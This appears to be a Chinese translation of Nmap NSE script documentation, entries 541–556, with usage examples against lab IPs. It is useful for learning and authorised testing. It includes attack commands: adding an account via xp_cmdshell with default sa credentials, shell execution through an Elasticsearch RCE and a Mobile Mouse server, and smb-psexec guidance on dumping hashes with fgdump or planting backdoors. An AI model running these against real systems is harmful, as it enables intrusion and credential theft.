http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "http-rfi-spider" -p80 ip/域名

http-shellshock

已演示过。这里不再演示。

http-sitemap-generator

已演示过。这里不再演示。

http-slowloris

已演示过。这里不再演示。

541. http-sql-injection

爬取 HTTP 服务器,寻找包含易受 SQL 注入攻击的查询的 URL。它还会从找到的网站中提取表单,并尝试识别易受攻击的字段。

该脚本爬取 HTTP 服务器,寻找包含查询的 URL。然后,它会将精心设计的 SQL 命令与易受攻击的 URL 结合起来,以获取错误。分析错误以查看 URL 是否易受攻击。这使用了最基本的 SQL 注入形式,但任何更复杂的形式都更适合独立工具。

我们可能无法访问目标 Web 服务器的真实主机名,这可能会阻止访问虚拟托管站点。

http-sql-injection.withinhost

        仅抓取同一主机内的 URL。(默认值:true)

http-sql-injection.errorstrings

        包含要搜索的错误字符串的文件路径(每行一个,以 # 开头的行被视为注释)。默认文件是 nselib/data/http-sql-errors.lst,取自 fuzzdb 项目,有关详细信息,请参阅 http://code.google.com/p/fuzzdb/。如果有人检测到该文件中的某些字符串导致大量误报,请将其报告给 dev@nmap.org。

http-sql-injection.withindomain

        仅抓取同一域内的 URL。这会扩大 withinhost 的范围,并且不能组合使用。(默认值:false)

http-sql-injection.url

        开始抓取的 URL。这是相对于扫描主机的 URL,例如。 /default.html(默认值:/)

http-sql-injection.maxpagecount

        可访问的最大页面数量。负值将禁用限制(默认值:20)

slaxml.debug

        请参阅 slaxml 库的文档。

httpsspider.doscraping、httpsspider.maxdepth、httpsspider.maxpagecount、httpsspider.noblacklist、httpsspider.url、httpsspider.useheadfornonwebfiles、httpsspider.withindomain、httpsspider.withinhost

        请参阅 httpsspider 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

nmap -sV --script=http-sql-injection ip/域名

http-stored-xss

已演示过。这里不再演示。

http-unsafe-output-escaping

已演示过。这里不再演示。

http-userdir-enum

已演示过。这里不再演示。

http-vhosts

已演示过。这里不再演示。

http-vuln-cve2006-3392

已演示过。这里不再演示。

http-vuln-cve2009-3960

已演示过。这里不再演示。

542. http-vuln-cve2010-2861

对 ColdFusion 服务器执行目录遍历攻击,并尝试获取管理员用户的密码哈希。然后,它使用盐值(隐藏在网页中)创建 Web 服务器以管理员身份进行身份验证所需的 SHA1 HMAC 哈希。您可以以管理员身份将此值传递给 ColdFusion 服务器,而无需破解密码哈希。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

sudo nmap --script "http-vuln-cve2010-2861" -p80,443 ip/域名

543. http-vuln-cve2011-3368

测试 Apache HTTP 服务器反向代理模式中的 CVE-2011-3368(反向代理绕过)漏洞。脚本将运行 3 个测试:

        环回测试,使用 3 个有效负载来处理不同的重写规则
        内部主机测试。根据 Contextis,我们预计服务器错误发生前会有延迟。
        外部网站测试。这并不意味着您可以访问 LAN IP,但无论如何这都是一个相关问题。

参考文献:

        http://www.contextis.com/research/blog/reverseproxybypass/

http-vuln-cve2011-3368.prefix

        设置路径前缀(目录)以检查漏洞。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap --script "http-vuln-cve2011-3368" -p80,443 ip/域名

http-vuln-cve2012-1823

已演示过。这里不再演示。

http-vuln-cve2013-7091

已演示过。这里不再演示。

http-vuln-cve2014-3704

已演示过。这里不再演示。

http-vuln-cve2014-8877

已演示过。这里不再演示。

544. http-vuln-cve2015-1427

此脚本尝试检测漏洞 CVE-2015-1427,该漏洞允许攻击者利用此 API 的功能获得未经身份验证的远程代码执行 (RCE)。

Elasticsearch 版本 1.3.0-1.3.7 和 1.4.0-1.4.2 在 Groovy 脚本引擎中存在漏洞。此漏洞允许攻击者构建逃离沙盒的 Groovy 脚本并以运行 Elasticsearch Java VM 的用户身份执行 shell 命令。

command

        输入要执行的 shell 命令。脚本默认输出 Java 和 Elasticsearch 版本。

itive

        如果设置为 true,则在没有索引的情况下创建索引。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

sudo nmap --script=http-vuln-cve2015-1427 --script-args "command= 'ls'" ip/域名

545. http-vuln-cve2017-8917

影响 Joomla! 3.7.x(3.7.1 之前的版本)的 SQL 注入漏洞允许未经身份验证的用户执行任意 SQL 命令。此漏洞是由版本 3.7 中引入的新组件 com_fields 引起的。此组件是公开可访问的,这意味着任何访问该网站的恶意个人都可以利用它。

该脚本尝试注入在目标网站上运行 user() 信息函数的 SQL 语句。成功注入将在 extra_info 表中返回当前 MySQL 用户名和主机名。

此脚本基于 brianwrf 编写的 Python 脚本。

参考:

        https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
        https://github.com/brianwrf/Joomla3.7-SQLi-CVE-2017-8917

http-vuln-cve2017-8917.uri

        Joomla 安装的 webroot

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap --script "http-vuln-cve2017-8917" -p 80,443 ip/域名
nmap --script "http-vuln-cve2017-8917" --script-args "http-vuln-cve2017-8917.uri=joomla/" -p 80,443 ip/域名

546. http-vuln-misfortune-cookie

通过安全利用来检测 RomPager 4.07 Misfortune Cookie 漏洞。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

sudo nmap ip/域名 -p 7547 --script=http-vuln-misfortune-cookie

http-vuln-wnr1000-creds

已演示过。这里不再演示。

http-waf-detect

已演示过。这里不再演示。

http-waf-fingerprint

已演示过。这里不再演示。

http-wordpress-brute

已演示过。这里不再演示。

http-wordpress-enum

已演示过。这里不再演示。

http-wordpress-users

已演示过。这里不再演示。

iax2-brute

已演示过。这里不再演示。

iec-identify

已演示过。这里不再演示。

iec61850-mms

已演示过。这里不再演示。

imap-brute

已演示过。这里不再演示。

impress-remote-discover

已演示过。这里不再演示。

informix-brute

已演示过。这里不再演示。

informix-query

已演示过。这里不再演示。

informix-tables

已演示过。这里不再演示。

ipmi-brute

已演示过。这里不再演示。

ipv6-ra-flood

已演示过。这里不再演示。

irc-brute

已演示过。这里不再演示。

irc-sasl-brute

已演示过。这里不再演示。

irc-unrealircd-backdoor

已演示过。这里不再演示。

iscsi-brute

已演示过。这里不再演示。

jdwp-exec

已演示过。这里不再演示。

jdwp-inject

已演示过。这里不再演示。

krb5-enum-users

已演示过。这里不再演示。

ldap-brute

已演示过。这里不再演示。

lu-enum

已演示过。这里不再演示。

membase-brute

已演示过。这里不再演示。

547. metasploit-info

从 Metasploit rpc 服务收集信息。它需要有效的登录对。身份验证后,它会尝试确定 Metasploit 版本并推断操作系统类型。然后它会创建一个新的控制台并执行一些命令来获取更多信息。

参考:

        http://wiki.msgpack.org/display/MSGPACK/Format+specification
        https://community.rapid7.com/docs/DOC-1516 Metasploit RPC API 指南

metasploit-info.password

        有效的 metasploit rpc 密码(必需)

metasploit-info.command

        在服务器上运行的自定义命令(可选)

metasploit-info.username

        有效的 metasploit rpc 用户名(必需)

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap 192.168.174.132 --script=metasploit-info --script-args "username=root,password=root"

metasploit-msgrpc-brute

已演示过。这里不再演示。

metasploit-xmlrpc-brute

已演示过。这里不再演示。

mikrotik-routeros-brute

已演示过。这里不再演示。

mikrotik-routeros-username-brute

已演示过。这里不再演示。

mmouse-brute

已演示过。这里不再演示。

548. mmouse-exec

连接到 RPA Tech Mobile Mouse 服务器,启动应用程序并向其发送按键序列。用户可以访问的任何应用程序都可以启动,启动后按键序列会发送给应用程序。

Mobile Mouse 服务器可在 OS X、Windows 和 Linux 上运行,并支持从 iOS 设备远程控制键盘和鼠标。更多信息请访问:http://mobilemouse.com/

该脚本仅针对 OS X 进行了测试,将检测远程操作系统并中止,除非检测到操作系统为 Mac。

mmouse-exec.application

        要在服务器上启动的应用程序

mmouse-exec.delay

        发送按键序列前等待的延迟时间(以秒为单位)。(默认值:3 秒)

mmouse-exec.password

        连接移动鼠标服务器所需的密码

mmouse-exec.keys

        要发送到已启动应用程序的按键序列

creds.[service], creds.global

        请参阅 creds 库的文档。

sudo nmap -p 51010 ip/域名 --script "mmouse-exec" --script-args "application='/bin/sh',keys='ping -c 5 127.0.0.1'"

modbus-discover

已演示过。这里不再演示。

mongodb-brute

已演示过。这里不再演示。

ms-sql-brute

已演示过。这里不再演示。

ms-sql-empty-password

已演示过。这里不再演示。

549. ms-sql-xp-cmdshell

尝试使用 Microsoft SQL Server (ms-sql) 的命令 shell 运行命令。

是否需要 SQL Server 凭据:是(使用 ms-sql-brute、ms-sql-empty-password 和/或 mssql.username 和 mssql.password)运行条件:

主机脚本:如果使用 mssql.instance-all、mssql.instance-name

或 mssql.instance-port 脚本参数,则将运行(请参阅 mssql.lua)。

端口脚本:将针对任何标识为 SQL Server 的服务运行,但仅当未使用 mssql.instance-all、mssql.instance-name 和 mssql.instance-port 脚本参数时才会运行。

脚本需要具有 sysadmin 服务器角色的帐户才能运行。

运行时,脚本将遍历凭据并尝试运行命令,直到所有凭据都用尽或命令执行完毕。

注意:通过命名管道与实例通信取决于 smb 库。要通过命名管道与实例通信(并可能发现实例),主机必须至少有一个经过扫描并发现打开的 SMB 端口(例如 TCP 445)。此外,除了连接到 SQL Server 实例本身所需的身份验证之外,命名管道连接可能还需要 Windows 身份验证才能连接到 Windows 主机(通过 SMB)。有关更多信息,请参阅 smb 库的文档和参数。

注意:默认情况下,ms-sql-* 脚本可能会尝试连接到 Nmap 扫描的端口列表中未包含的端口并与之通信。可以使用 mssql.scanned-ports-only 脚本参数禁用此功能。

ms-sql-xp-cmdshell.cmd

        要运行的 OS 命令(默认值:ipconfig /all)。

mssql.domain、mssql.instance-all、mssql.instance-name、mssql.instance-port、mssql.password、mssql.protocol、mssql.scanned-ports-only、mssql.timeout、mssql.username

        请参阅 mssql 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

sudo nmap -p 445 --script "ms-sql-empty-password,ms-sql-xp-cmdshell" ip/域名
nmap -p 1433 --script "ms-sql-xp-cmdshell" --script-args=mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" ip/域名

mysql-brute

已演示过。这里不再演示。

mysql-databases

已演示过。这里不再演示。

mysql-empty-password

已演示过。这里不再演示。

mysql-enum

已演示过。这里不再演示。

mysql-users

已演示过。这里不再演示。

mysql-variables

已演示过。这里不再演示。

mysql-vuln-cve2012-2122

已演示过。这里不再演示。

nbd-info

已演示过。这里不再演示。

nessus-brute

已演示过。这里不再演示。

nessus-xmlrpc-brute

已演示过。这里不再演示。

netbus-brute

已演示过。这里不再演示。

nexpose-brute

已演示过。这里不再演示。

nje-node-brute

已演示过。这里不再演示。

nje-pass-brute

已演示过。这里不再演示。

nping-brute

已演示过。这里不再演示。

nrpe-enum

已演示过。这里不再演示。

ntp-monlist

已演示过。这里不再演示。

omp2-brute

已演示过。这里不再演示。

openvas-otp-brute

已演示过。这里不再演示。

oracle-brute

已演示过。这里不再演示。

oracle-brute-stealth

已演示过。这里不再演示。

oracle-enum-users

已演示过。这里不再演示。

oracle-sid-brute

已演示过。这里不再演示。

pcanywhere-brute

已演示过。这里不再演示。

pgsql-brute

已演示过。这里不再演示。

550. pjl-ready-message

检索或设置支持打印机作业语言的打印机的就绪消息。这包括大多数监听端口 9100 的 PostScript 打印机。如果不带参数,则显示当前就绪消息。如果带 pjl_ready_message 脚本参数,则显示旧的就绪消息并将其更改为给定的消息。

pjl_ready_message

        准备显示消息。

sudo nmap --script=pjl-ready-message.nse --script-args='pjl_ready_message="your message here"' -p9100 ip/域名

pop3-brute

已演示过。这里不再演示。

profinet-cm-lookup

已演示过。这里不再演示。

551. puppet-naivesigning

检测 Puppet 服务器上是否启用了简单签名。这使攻击者能够创建任何证书签名请求并对其进行签名,从而允许他们冒充 Puppet 代理。这可能会泄露代理的配置以及配置文件中的任何其他敏感信息。

此脚本利用 Puppet HTTP API 接口对请求进行签名。

此脚本已在 3.8.5、4.10 版本上进行了测试。

参考:

        https://docs.puppet.com/puppet/4.10/ssl_autosign.html#security-implications-of-nave-autosigning

puppet-naivesigning.env

        - 提供给端点的环境 -> 默认值:“production”

puppet-naivesigning.csr

        - 包含证书签名请求的文件,用于替换默认文件 -> 默认值:nil

puppet-naivesigning.node

        - CSR 中的节点名称 -> 默认值:“agentzero.localdomain”

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

sudo nmap -p 8140 --script "puppet-naivesigning" ip/域名
sudo nmap -p 8140 --script "puppet-naivesigning" --script-args "puppet-naivesigning.csr=other.csr,puppet-naivesigning.node=agency" ip/域名

qconn-exec

已演示过。这里不再演示。

552. rdp-vuln-ms12-020

检查计算机是否易受 MS12-020 RDP 漏洞攻击。

Microsoft 公告 MS12-020 修补了两个漏洞:CVE-2012-0152 解决了终端服务器内部的拒绝服务漏洞,而 CVE-2012-0002 修复了远程桌面协议中的漏洞。两者都是远程桌面服务的一部分。

该脚本通过检查 CVE-2012-0152 漏洞来工作。如果未修补此漏洞,则假定 CVE-2012-0002 也未修补。此脚本可以在不使目标崩溃的情况下进行检查。

其工作方式如下:

        发送一个用户请求。服务器回复用户 ID(称为 A)和该用户的频道。

        发送另一个用户请求。服务器回复另一个用户 ID(称为 B)和另一个频道。
        发送频道加入请求,请求用户设置为 A,请求频道设置为 B。如果服务器回复成功消息,则我们断定服务器存在漏洞。
        如果服务器存在漏洞,请发送频道加入请求,请求用户设置为 B,请求频道设置为 B,以防止崩溃。

参考资料:

        http://technet.microsoft.com/en-us/security/bulletin/ms12-020
        http://support.microsoft.com/kb/2621440
        http://zerodayinitiative.com/advisories/ZDI-12-044/
        http://aluigi.org/adv/termdd_1-adv.txt

原文由 Worawit Wang (sleepya) 核实。

vulns.short, vulns.showall

        请参阅 vulns 库的文档。

sudo nmap -sV --script=rdp-vuln-ms12-020 -p 3389 192.168.174.128

redis-brute

已演示过。这里不再演示。

rexec-brute

已演示过。这里不再演示。

rlogin-brute

已演示过。这里不再演示。

553. rmi-vuln-classloader

测试 Java rmiregistry 是否允许类加载。rmiregistry 的默认配置允许从远程 URL 加载类,这可能导致远程代码执行。供应商 (Oracle/Sun) 将此归类为设计功能。

基于 mihi 的原始 Metasploit 模块。

参考:

        https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

vulns.short, vulns.showall

        请参阅 vulns 库的文档。

nmap --script=rmi-vuln-classloader -p 1099 ip/域名

rpcap-brute

已演示过。这里不再演示。

rsync-brute

已演示过。这里不再演示。

rtsp-url-brute

已演示过。这里不再演示。

554. samba-vuln-cve-2012-1182

检查目标机器是否容易受到 Samba 堆溢出漏洞 CVE-2012-1182 的影响。

Samba 版本 3.6.3 及之前的所有版本都受到漏洞的影响,该漏洞允许以“root”用户身份通过​​匿名连接执行远程代码。

CVE-2012-1182 标记了位于基于 PIDL 的自动生成代码中的多个堆溢出漏洞。此检查脚本基于 ZDI 标记为 ZDI-CAN-1503 的 PoC。漏洞存在于 ndr_pull_lsa_SidArray 函数中,攻击者受 num_sids 控制,可能导致分配的内存不足,从而导致堆缓冲区溢出和远程代码执行的可能性。

脚本构建恶意数据包并进行触发漏洞的 SAMR GetAliasMembership 调用。在易受攻击的系统上,连接断开,结果为“尝试 5 次后仍无法接收字节”。在修补过的系统上,samba 会抛出错误,结果为“MSRPC 调用返回错误(数据包类型)”。

参考文献:

        https://bugzilla.samba.org/show_bug.cgi?id=8815
        http://www.samba.org/samba/security/CVE-2012-1182

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.174.132

sip-brute

已演示过。这里不再演示。

sip-call-spoof

已演示过。这里不再演示。

sip-enum-users

已演示过。这里不再演示。

smb-brute

已演示过。这里不再演示。

smb-enum-domains

已演示过。这里不再演示。

smb-enum-groups

已演示过。这里不再演示。

smb-enum-processes

已演示过。这里不再演示。

smb-enum-services

已演示过。这里不再演示。

smb-enum-sessions

已演示过。这里不再演示。

smb-enum-shares

已演示过。这里不再演示。

smb-enum-users

已演示过。这里不再演示。

smb-flood

已演示过。这里不再演示。

555. smb-print-text

通过调用打印后台处理程序服务 RPC 函数尝试在共享打印机上打印文本。

要使用该脚本,至少需要通过 SMB 共享一台打印机。如果未指定打印机,脚本将尝试通过调用 LANMAN API 枚举现有打印机,但该 API 可能并非始终可用。LANMAN 在 Windows XP 上默认可用,但在 Vista 或 Windows 7 上不可用。在这种情况下,您需要使用打印机脚本参数手动指定打印机共享名称。您可以使用 smb-enum-shares 脚本找出可用的共享。

更高版本的 Windows 默认需要有效凭据,您可以通过 smb 库参数 smbuser 和 smbpassword 或其他选项指定。

text

        要打印的文本。需要指定 text 或 filename。

filename

        要从中读取文本的文件(仅限 ASCII)。

Printer

        打印机共享名称。可选,默认情况下,脚本会尝试枚举可用的打印机共享。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap -p 445 192.168.174.132 --script=smb-print-text  --script-args="text=0wn3d"

556. smb-psexec

实现与 Sysinternals 的 psexec 工具类似的远程进程执行,允许用户在远程机器上运行一系列程序并读取输出。这非常适合收集有关服务器的信息、在一系列系统上运行相同的工具,甚至在一组计算机上安装后门。

此脚本可以运行远程机器上的命令,例如 ping 或 tracert,也可以上传程序并运行它,例如 pwdump6 或后门。此外,它可以读取程序的 stdout/stderr 并将其返回给用户(与 ping、pwdump6 等配合良好),或者它可以读取进程生成的文件(例如,fgdump 生成文件),或者它可以启动进程并让它无头运行(后门可能像这样运行)。

要使用此功能,应创建和编辑配置文件。其中包含几个配置文件,您可以自定义它们,也可以编写自己的配置文件。此配置文件位于 nselib/data/psexec(如果您不确定它在哪里,请在您的系统中搜索 default.lua),然后作为脚本参数传递给 Nmap(例如,myconfig.lua 将作为 --script-args=config=myconfig 传递。

配置文件主要由模块列表组成。每个模块由一个 lua 表定义,并包含程序名称、程序的可执行文件和参数以及其他选项的字段。模块还有一个“上传”字段,用于确定是否要上传模块。下面是如何运行的简单示例

net
localgroup administrators

,返回“管理员”组中的用户列表(查看这些示例的 examples.lua 配置文件):

  mod = {}
  mod.upload           = false
  mod.name             = "Example 1: Membership of 'administrators'"
  mod.program          = "net.exe"
  mod.args             = "localgroup administrators"
  table.insert(modules, mod)

mod.upload 为 false,表示程序应该已经存在于远程系统上(因为每个版本的 Windows 上都有“net.exe”,所以应该是这种情况)。mod.name 定义程序在输出中的名称。mod.program 和 mod.args 显然定义要运行哪个程序。此脚本的输出如下:

  |  Example 1: Membership of 'administrators'
  |  | Alias name     administrators
  |  | Comment        Administrators have complete and unrestricted access to the computer/domain
  |  |
  |  | Members
  |  |
  |  | -------------------------------------------------------------------------------
  |  | Administrator
  |  | ron
  |  | test
  |  | The command completed successfully.
  |  |
  |  |_

这可以工作,但确实很丑。通常,我们可以使用 mod.find、mod.replace、mod.remove 和 mod.noblank 来清理输出。对于此示例,我们将使用 mod.remove 删除大量无用的行,并使用 mod.noblank 删除我们不想要的空白行:

  mod = {}
  mod.upload           = false
  mod.name             = "Example 2: Membership of 'administrators', cleaned"
  mod.program          = "net.exe"
  mod.args             = "localgroup administrators"
  mod.remove           = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
  mod.noblank          = true
  table.insert(modules, mod)

我们可以看到输出现在更加清晰了:

|  Example 2: Membership of 'administrators', cleaned
|  | Administrator
|  | ron
|  |_test

对于我们的下一个命令,我们将运行 Windows 的 ipconfig.exe,它会输出大量不必要的信息,而我们想要的格式也不太好。我们想要的只是 IP 地址和 MAC 地址,我们使用 mod.find 和 mod.replace 来获取它:

  mod = {}
  mod.upload           = false
  mod.name             = "Example 3: IP Address and MAC Address"
  mod.program          = "ipconfig.exe"
  mod.args             = "/all"
  mod.maxtime          = 1
  mod.find             = {"IP Address", "Physical Address", "Ethernet adapter"}
  mod.replace          = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
  table.insert(modules, mod)

此模块搜索包含“IP 地址”、“物理地址”或“以太网适配器”的行。在这些行中,“。”被替换为空,“-”被替换为冒号,术语“物理地址”被替换为“MAC 地址”(可能没有必要)。运行 ipconfig /all 自己查看我们的起始内容,但以下是最终输出:

|  Example 3: IP Address and MAC Address
|  | Ethernet adapter Local Area Connection:
|  |    MAC Address: 00:0C:29:12:E6:DB
|  |_   IP Address: 192.168.1.21|  Example 3: IP Address and MAC Address

此脚本的另一个有趣部分是变量可用于任何脚本字段。有两种类型的变量:内置变量和用户提供的变量。内置变量可以是配置表中的任何变量,其中大部分列在下面。比较有趣的是:

        $lhost:扫描仪的地址
        $rhost:被扫描的地址
        $path:脚本上传的路径
        $share:脚本上传的共享

用户提供的参数在命令行上给出,可以通过配置文件中的 mod.req_args 控制。参数由用户在 --script-args 中给出;例如,要将 $host 设置为“1.2.3.4”,用户将传入 --script-args=host=1.2.3.4。为了确保用户传入主机变量,mod.req_args 将设置为 {'host'}。

这是一个 ping 本地 ip 地址的模块:

  mod = {}
  mod.upload           = false
  mod.name             = "Example 4: Can the host ping our address?"
  mod.program          = "ping.exe"
  mod.args             = "$lhost"
  mod.remove           = {"statistics", "Packet", "Approximate", "Minimum"}
  mod.noblank          = true
  mod.env              = "SystemRoot=c:\\WINDOWS"
  table.insert(modules, mod)

输出结果如下:

|  Example 4: Can the host ping our address?
|  | Pinging 192.168.1.100 with 32 bytes of data:
|  | Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
|  | Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
|  | Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
|  |_Reply from 192.168.1.100: bytes=32 time<1ms TTL=64

此模块会 ping 用户需要提供的任意地址:

  mod = {}
  mod.upload           = false
  mod.name             = "Example 5: Can the host ping $host?"
  mod.program          = "ping.exe"
  mod.args             = "$host"
  mod.remove           = {"statistics", "Packet", "Approximate", "Minimum"}
  mod.noblank          = true
  mod.env              = "SystemRoot=c:\\WINDOWS"
  mod.req_args         = {'host'}
  table.insert(modules, mod)

输出(请注意,我们必须增加超时时间才能完成;我们稍后会讨论覆盖值):

$ ./nmap -n -d -p445 --script=smb-psexec --script-args=smbuser=test,smbpass=test,config=examples,host=1.2.3.4 192.168.1.21
[...]
|  Example 5: Can the host ping 1.2.3.4?
|  | Pinging 1.2.3.4 with 32 bytes of data:
|  | Request timed out.
|  | Request timed out.
|  | Request timed out.
|  |_Request timed out.

对于最后一个例子,我们将使用 upload 命令上传 fgdump.exe,运行它,下载其输出文件,并清理其日志文件。您必须将 fgdump.exe 放在与脚本相同的文件夹中才能使其正常工作:

  mod = {}
  mod.upload           = true
  mod.name             = "Example 6: FgDump"
  mod.program          = "fgdump.exe"
  mod.args             = "-c -l fgdump.log"
  mod.url              = "http://www.foofus.net/fizzgig/fgdump/"
  mod.tempfiles        = {"fgdump.log"}
  mod.outfile          = "127.0.0.1.pwdump"
  table.insert(modules, mod)

fgdump 的 -l 参数提供日志文件的名称。该文件列在 mod.tempfiles 字段中。mod.tempfiles 到底有什么用?它只是为服务提供清理时要删除的文件列表。清理过程将在后面讨论。

如果在 nselib/data/psexec/ 中找不到 mod.program,则会向用户显示 mod.url。最后,mod.outfile 是从系统下载的文件。这是必需的,因为 fgdump 写入输出文件而不是 stdout(例如,pwdump6 不需要 mod.outfile)。

现在我们已经看到了一些可能的字段组合,我将提供所有可用字段的完整列表以及每个字段的作用。其中许多字段都很熟悉,但有一些字段未在示例中讨论:

        upload (boolean) 如果要上传的是本地文件,则为 true,如果已经在主机上,则为 false。如果 upload 为 true,则程序必须位于 nselib/data/psexec 中。
        name (string) 要在输出上方显示的名称。如果没有给出,则使用 program .. args。
        program (string) 如果 upload 为 false,则为远程系统上程序的名称(完全限定或相对);如果 upload 为 true,则为将要上传的本地文件的名称(存储在 nselib/data/psexec 中)。
        args (string) 传递给进程的参数。
        env (字符串) 传递给进程的环境变量,以 name=value 对的形式,按照 Microsoft 的规范,以 NULL 字符 (string.char(0)) 分隔。
        maxtime (整数) 等待此进程完成的大致时间。脚本在放弃等待响应之前的总超时时间是所有 maxtime 字段的总和。
        extrafiles (字符串[]) 运行程序之前要上传的额外文件。这些文件不会被重命名(因为,如果重命名,程序可能找不到它们),但它们将被标记为隐藏/系统/等。如果多人同时执行此操作,这可能会导致竞争条件,但我们无能为力。这些文件也会像临时文件一样被删除。这些文件必须与程序位于同一目录中(nselib/data/psexec),但程序不一定需要是上传的程序。
        tempfiles (string[]) 已知进程创建的临时文件列表(如果进程确实创建了文件,建议使用此字段,因为它有助于避免在远程系统上造成混乱)。
        find (string[]) 仅显示包含给定字符串的行(例如,如果您正在搜索包含“IP 地址”的行,请将其设置为

{'IP
                    Address'}

。这允许使用 Lua 风格的模式,请参阅:http://lua-users.org/wiki/PatternsTutorial(不要忘记用 % 转义特殊字符)。注意,这仅限于客户端;仍会返回完整输出,显示时会删除其余部分。输出行只需与此处给出的字符串之一匹配即可。
        remove(string[])与 find 相反;这会删除包含给定字符串的行而不是显示它们。与 find 一样,这仅限于客户端并使用 Lua 风格的模式。如果 remove 和 find 发生冲突,则 remove 优先。
        noblank(布尔值)将其设置为 true 会从输出中删除所有空行。
        replace(表)返回的字符串中要替换的值的表。与 find 和 replace 一样,这仅限于客户端并使用 Lua 风格的模式。
        headless(布尔值)如果将 headless 设置为 true,程序不会返回任何输出;相反,它与服务分离运行,这样当服务结束时,程序仍可继续运行。这对于监控程序非常有用。或者后门,如果你感兴趣的话(Metasploit 负载应该可以很好地工作)。与 find、remove、noblank、replace、maxtime、outfile 不兼容。
        enabled (boolean) 如果不想运行模块,则设置为 false,并可选地设置 disabled_message。或者,你可以注释掉该过程。
        disabled_message (string) 如果模块被禁用,则显示。
        url (string) 用户可以下载可上传文件的模块。如果缺少可上传文件,则显示。
        outfile (string) 如果设置,将返回指定的文件而不是 stdout。
        req_args (string[]) 用户必须在 --script-args 中设置的参数数组。

如上所述,配置文件中的任何字段都可以包含变量。以下是一些可用的内置变量:

        $lhost:字符串形式的本地 IP 地址。
        $lport:本地端口(无意义;由于建立了多个连接,因此在模块上传时会发生变化)。
        $rhost:字符串形式的远程 IP 地址。
        $rport:远程端口。
        $lmac:字符串形式的本地 MAC 地址,格式为 xx:xx:xx:xx:xx:xx(注意:需要 root)。
        $path:文件将上传到的路径。
        $service_name:将运行此程序的服务的名称
        $service_file:服务的可执行文件的名称
        $temp_output_file:在重命名为 $output_file 之前,程序输出将写入的(加密)文件
        $output_file:(加密)输出文件的最终名称。当此文件出现时,脚本会下载它并停止服务
        $timeout:脚本在放弃并停止进程之前运行的总时间
        $share:所有内容上传到的共享
        (script args):作为脚本参数传递的任何值都将被替换(例如,如果 Nmap 使用 --script-args=var3=10 运行,则任何字段中的 $var3 都将被替换为 10。请参阅上面的 req_args 字段。脚本参数值优先于配置值。

除了模块之外,配置文件还可以包含覆盖。大多数覆盖都没什么用,所以我就不详细介绍了。在 smb-psexec.nse 中搜索对配置表的任何引用;配置表中的任何值都可以用模块中的覆盖表覆盖。最有用的覆盖值可能是超时。

在运行脚本之前和之后,以及出现错误时,将执行清理。在清理过程中,我们尝试停止远程进程,删除所有程序、输出文件、临时文件、额外文件等。我们投入了大量精力进行适当的清理,因为在远程系统上制造混乱是个坏主意。

